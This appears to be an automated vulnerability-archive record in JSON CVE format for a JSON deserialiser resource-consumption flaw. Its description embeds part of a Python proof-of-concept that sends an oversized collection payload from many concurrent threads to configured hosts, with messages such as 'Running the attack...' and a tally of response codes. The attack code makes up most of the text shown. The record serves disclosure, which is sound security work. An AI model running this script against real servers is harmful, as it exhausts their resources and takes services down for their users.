AppleWebKit/537.36 (KHTML, like Gecko) \nChrome/137.0.0.0 Safari/537.36\u0027,\n \u0027Accept\u0027: \u0027application/json, text/javascript, */*; q=0.01\u0027,\n }\n # Caller-supplied headers first, then the required Content-Type so it wins.\n headers.update(config[\u0027extra_headers\u0027])\n if config[\u0027content_type\u0027]:\n headers[\u0027Content-Type\u0027] = config[\u0027content_type\u0027]\n if cookie_string:\n headers[\u0027Cookie\u0027] = cookie_string\n\n try:\n session = requests.Session()\n req = requests.Request(\n \u0027POST\u0027,\n url,\n data=data if data else None,\n headers=headers,\n )\n prepared = session.prepare_request(req)\n\n # --- Print the exact request ---\n # print(f\"{prepared.method} {prepared.path_url} HTTP/1.1\")\n # for header, value in prepared.headers.items():\n # print(f\"{header}: {value}\")\n # print() # blank line separating headers from body\n # if prepared.body:\n # # Print first 500 chars of body to avoid flooding the terminal\n # print(f\"[Body ({len(prepared.body)} bytes)]: {str(prepared.body)[:500]}\")\n # print(\"=\" * 50)\n # --------------------------------\n\n response = session.send(prepared)\n #print(f\u0027RRR: {response.status_code}\u0027)\n #print(f\u0027FFF: {response.headers}\u0027)\n #print(f\u0027DDD: {response.text}\u0027)\n return response\n except Exception as e:\n print(f\u0027Error (at {datetime.now(timezone.utc).strftime(\"%Y%m%dT%H%M%SZ\")}): {e}\u0027)\n return None\n\n\ndef run_concurrent_requests(url, data, num_threads, num_runs, cookie_string=None):\n \"\"\"\n Kicks off requests to run each query and then waits for the responses\n collecting them into a list\n\n Args:\n url (str): URL to make requests to\n data (str): The data to pass to the request\n num_threads (int): Number of threads to use\n num_runs (int): Number of requests to to make (in total)\n cookie_string (str): Any cookies to include\n\n Returns:\n list[Response]: A list of responses\n \"\"\"\n with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:\n futures = [executor.submit(make_request, url, data, cookie_string) for _ in range(num_runs)]\n responses = [f.result() for f in concurrent.futures.as_completed(futures)]\n return responses\n\n\ndef main():\n # Clear our request/responses file\n with open(\u0027request-responses.txt\u0027, \u0027w\u0027) as file:\n pass\n\n # Create a random value and set it across the requests\n random_value = \u0027\u0027.join(random.choices(string.ascii_letters + string.digits, k=16))\n\n # Running the attack\n print(\u0027Running the attack...\u0027)\n ## Exceed the maximum count for items in a Java collection\n payload = get_payload(recreate_payload=config[\u0027recreate_payload\u0027])\n for host in config[\u0027hosts\u0027]:\n path = config[\u0027paths\u0027][0]\n url = f\"https://{host}{path}\";\n print(\n f\"Attacking {url} with a payload of size {len(payload)} (using {payload.count(\u0027null,\u0027)} non-null \nentries)...\")\n\n start_time = time.time()\n responses = run_concurrent_requests(url, data=payload, num_threads=config[\u0027parallel_count\u0027],\n num_runs=config[\u0027total_number_of_connections\u0027])\n end_time = time.time()\n\n counts = count_status_codes(responses)\n\n # Print results\n if counts[\u00274xx\u0027] \u003e 0:\n print(f\" {counts[\u00274xx\u0027]} 4xxs observed\")\n for status in [\u0027400\u0027, \u0027402\u0027, \u0027403\u0027, \u0027404\u0027]:\n if counts[status] \u003e 0:\n print(f\" {counts[status]} {status}s observed\")\n for status in [\u0027413\u0027]:\n if counts[status] \u003e 0:\n print(f\" {counts[status]} {status}s observed (reduce payload size)\")\n\n print(\n f\" {counts[\u0027429\u0027]} 429s observed (out of {config[\u0027total_number_of_connections\u0027]} runs at a rate of \n{config[\u0027parallel_count\u0027]} concurrent threads)\")\n\n if co"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:55:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/117"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/117"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://{host}{path}\""
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/117"
],
"discovery": "EXTERNAL"
},
"title": "JSON Deserialiser Unconstrained Resource Consumption Proof of Concept",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0096",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/117",
"automated": true,
"contentSha256": "19cbf491b9e597b72dad991fddb1b6590e2d29ed3076b03b24525c29c3183b32",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/117",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-29T00:11:02Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:22Z",
"dateUpdated": "2026-09-11T11:55:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0096"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}